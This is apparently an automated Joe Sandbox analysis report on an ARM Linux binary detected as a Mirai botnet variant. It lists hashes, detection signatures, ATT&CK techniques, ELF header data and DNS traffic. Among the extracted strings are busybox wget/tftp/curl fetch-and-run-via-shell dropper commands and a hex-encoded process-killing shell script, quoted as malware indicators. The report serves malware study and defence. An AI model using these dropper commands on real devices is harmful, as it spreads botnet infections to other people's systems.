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Linux Analysis Report
nshkarm6.elf

Overview

General Information

Sample name:	nshkarm6.elf
Analysis ID:	1579231
MD5:	8e09219ce1e5dff5d28a0c271c633f96
SHA1:	fca88e59d1047eaa0204e6eadae0c79e05296b78
SHA256:	f2d26503080e63d91b0c35a5674f07cd169ab5f91057da90023228dba5b57a48
Tags:	elfuser-abuse_ch
Infos:

Detection

Mirai

Score:	56
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Yara detected Mirai

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1579231
Start date and time:	2024-12-21 06:11:13 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 27s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	nshkarm6.elf
Detection:	MAL
Classification:	mal56.troj.linELF@0/0@2/0

Runtime Messages

Command:	/tmp/nshkarm6.elf
PID:	5507
Exit Code:	139
Exit Code Info:	SIGSEGV (11) Segmentation fault invalid memory reference
Killed:	False
Standard Output:
Standard Error:	qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Process Tree

system is lnxubuntu20

nshkarm6.elf (PID: 5507, Parent: 5425, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/nshkarm6.elf

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
nshkarm6.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
5507.1.00007f58e4017000.00007f58e402c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: nshkarm6.elf

ReversingLabs: Detection: 36%

Source: nshkarm6.elf

String: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname Kamru/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: daisy.ubuntu.com

Source: nshkarm6.elf	String found in binary or memory: http:///curl.sh
Source: nshkarm6.elf	String found in binary or memory: http:///wget.sh

Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname Kamru
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./Galaxy selfrep
Source: Initial sample	String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname Kamru/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| shGET /dlr. HTTP/1.0
Source: Initial sample	String containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./Galaxy selfrepI just wanna look/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"arm5arm6arm7mipsmpslppcspcsh4

Source: ELF static info symbol of initial sample

.symtab present: no

Source: classification engine

Classification label: mal56.troj.linELF@0/0@2/0

Source: /tmp/nshkarm6.elf (PID: 5507)

Queries kernel information via 'uname':

Jump to behavior

Source: nshkarm6.elf, 5507.1.00007fff4bc6d000.00007fff4bc8e000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/nshkarm6.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/nshkarm6.elf
Source: nshkarm6.elf, 5507.1.000055c2e3eeb000.000055c2e4019000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/arm
Source: nshkarm6.elf, 5507.1.000055c2e3eeb000.000055c2e4019000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: nshkarm6.elf, 5507.1.00007fff4bc6d000.00007fff4bc8e000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm
Source: nshkarm6.elf, 5507.1.00007fff4bc6d000.00007fff4bc8e000.rw-.sdmp	Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: nshkarm6.elf, type: SAMPLE
Source: Yara match	File source: 5507.1.00007f58e4017000.00007f58e402c000.r-x.sdmp, type: MEMORY

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: nshkarm6.elf, type: SAMPLE
Source: Yara match	File source: 5507.1.00007f58e4017000.00007f58e402c000.r-x.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Non-Application Layer Protocol	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
nshkarm6.elf	37%	ReversingLabs	Linux.Backdoor.Mirai

Dropped Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
daisy.ubuntu.com	162.213.35.24	true	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http:///wget.sh	nshkarm6.elf	false		high
http:///curl.sh	nshkarm6.elf	false		high

World Map of Contacted IPs

⊘No contacted IP infos

Joe Sandbox View / Context

IPs

⊘No context

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
daisy.ubuntu.com	Mozi.m.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	arm6.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	162.213.35.24
	arm.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	162.213.35.25
	ppc.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	arm7.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	nsharm.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	arm.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	nshkarm5.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	ppc.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	arm6.elf	Get hash	malicious	Mirai	Browse	162.213.35.24

ASNs

⊘No context

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.134827945066002
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	nshkarm6.elf
File size:	87'384 bytes
MD5:	8e09219ce1e5dff5d28a0c271c633f96
SHA1:	fca88e59d1047eaa0204e6eadae0c79e05296b78
SHA256:	f2d26503080e63d91b0c35a5674f07cd169ab5f91057da90023228dba5b57a48
SHA512:	8d0c38535ede5a2797b5793920f39a0ccaf4ce19efe4b94203466c16953bfb736e159a617511412a4e2e4c55e4ba4d6390841466c7f83df6071630a6908fa794
SSDEEP:	1536:wUn+Q4U1iHB6RCLDCJ2L90GhNfoade4NsnYMziULMlRTIKG7lW5SY+ni8VRblLz:F7aBiCfCIL90+NfoadoLMlRTIKGpW8Bz
TLSH:	F0830856B9818B11D5C552BEFE1E528D331317BCD2DE72129E20AB247B8B86B0E3B905
File Content Preview:	.ELF..............(.....T...4...xS......4. ...(.....................tL..tL...............P...P...P......\...........Q.td..................................-...L..................@-.,@...0....S..... 0....S.........../..0...0...@..../..S.......P....-.@0....S

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x8154
Flags:	0x4000002
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	86904
Section Header Size:	40
Number of Section Headers:	12
Header String Table Index:	11

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x8094	0x94	0x10	0x0	0x6	AX	4
.text	PROGBITS	0x80b0	0xb0	0x12e7c	0x0	0x6	AX	16
.fini	PROGBITS	0x1af2c	0x12f2c	0x10	0x0	0x6	AX	4
.rodata	PROGBITS	0x1af40	0x12f40	0x1d34	0x0	0x2	A	8
.init_array	INIT_ARRAY	0x25004	0x15008	0x4	0x0	0x3	WA	4
.fini_array	FINI_ARRAY	0x25008	0x1500c	0x4	0x0	0x3	WA	4
.got	PROGBITS	0x25010	0x15014	0x74	0x4	0x3	WA	4
.data	PROGBITS	0x25084	0x15088	0x280	0x0	0x3	WA	4
.bss	NOBITS	0x25304	0x15308	0x545c	0x0	0x3	WA	4
.ARM.attributes	ARM_ATTRIBUTES	0x0	0x15308	0x10	0x0	0x0		1
.shstrtab	STRTAB	0x0	0x15318	0x5d	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8000	0x8000	0x14c74	0x14c74	6.1912	0x5	R E	0x8000	.init .text .fini .rodata
LOAD	0x15004	0x25004	0x25000	0x304	0xd75c	3.8467	0x6	RW	0x8000	.init_array .fini_array .got .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Network Behavior

Network Port Distribution

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 21, 2024 06:12:07.384809971 CET	41797	53	192.168.2.14	1.1.1.1
Dec 21, 2024 06:12:07.384910107 CET	34055	53	192.168.2.14	1.1.1.1
Dec 21, 2024 06:12:07.614469051 CET	53	41797	1.1.1.1	192.168.2.14
Dec 21, 2024 06:12:07.614489079 CET	53	34055	1.1.1.1	192.168.2.14

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 21, 2024 06:12:07.384809971 CET	192.168.2.14	1.1.1.1	0x16c8	Standard query (0)	daisy.ubuntu.com	A (IP address)	IN (0x0001)	false
Dec 21, 2024 06:12:07.384910107 CET	192.168.2.14	1.1.1.1	0xe1e0	Standard query (0)	daisy.ubuntu.com	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 21, 2024 06:12:07.614469051 CET	1.1.1.1	192.168.2.14	0x16c8	No error (0)	daisy.ubuntu.com		162.213.35.24	A (IP address)	IN (0x0001)	false
Dec 21, 2024 06:12:07.614469051 CET	1.1.1.1	192.168.2.14	0x16c8	No error (0)	daisy.ubuntu.com		162.213.35.25	A (IP address)	IN (0x0001)	false

System Behavior

Analysis Process: nshkarm6.elf PID: 5507, Parent PID: 5425

General

Start time (UTC):	05:12:05
Start date (UTC):	21/12/2024
Path:	/tmp/nshkarm6.elf
Arguments:	/tmp/nshkarm6.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

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Warning!

Linux Analysis Report nshkarm6.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Network Port Distribution

UDP Packets

DNS Queries

DNS Answers

System Behavior

Analysis Process: nshkarm6.elf PID: 5507, Parent PID: 5425

General

Chronological Activities

Linux Analysis Report
nshkarm6.elf